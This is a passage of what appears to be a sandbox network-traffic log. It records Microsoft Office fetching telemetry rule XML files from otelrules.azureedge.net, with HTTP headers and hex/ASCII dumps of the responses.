EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	62392	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:14 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:14 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:14 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 464d7020-e01e-0020-3508-2cde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124314Z-16dc884887bqz426hC1DFWhv2000000000hg00000000368e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:14 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	62393	13.107.246.45	443	6404	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:14 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:14 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:14 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 092c2672-101e-007a-5aed-2b047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124314Z-16dc884887b6v426hC1DFWstvw00000000fg00000000775f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:14 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	62395	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:14 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:15 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:15 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: fca0e863-b01e-0098-581d-2ccead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124315Z-159b85dff8f7x84jhC1DFWaghs00000002zg0000000037fx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:15 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	62394	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:14 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:15 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:15 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 87c6e830-f01e-003c-7a08-2c8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124315Z-16dc884887btswlthC1DFWs7xw00000000kg00000000a2g5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:15 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	62396	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:15 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:15 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:15 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 5c8c4e1d-601e-0002-3bca-2aa786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124315Z-159b85dff8flhtkwhC1DFWeu9n0000000110000000003t4u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:15 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	62397	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:15 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:15 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:15 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 23cb301e-e01e-0052-6e08-2cd9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124315Z-16ccfc498972q798hC1DFWe4nw00000000ng00000000aa81 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:15 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	62398	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:15 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:15 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:15 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: a281a3fe-c01e-008d-2008-2c2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124315Z-16ccfc4989744mtmhC1DFWr0ts00000000ng00000000gh38 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:15 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	62400	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:15 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:15 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:15 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 87c6e9c6-f01e-003c-7508-2c8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124315Z-16dc884887b5dxtghC1DFW9q7c00000000pg000000007cva x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:15 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	62399	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:15 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:15 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:15 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 35c288dd-301e-0051-0308-2c38bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124315Z-16dc884887bb4p45hC1DFWv3z000000000rg0000000041cn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:15 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	62401	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:16 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:16 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:16 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 78d67a8a-601e-003e-5516-2b3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124316Z-16ccfc498979lfwnhC1DFW56w800000000s0000000006928 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:16 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	62402	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:16 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:16 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:16 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 6c1a7512-101e-00a2-6d08-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124316Z-16ccfc49897bsnckhC1DFW699w00000000mg00000000d65d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:16 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	62403	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:16 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:16 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:16 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 39dcf0eb-f01e-0085-6308-2c88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124316Z-16dc884887bbfwjkhC1DFWyza800000000p0000000004gqc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
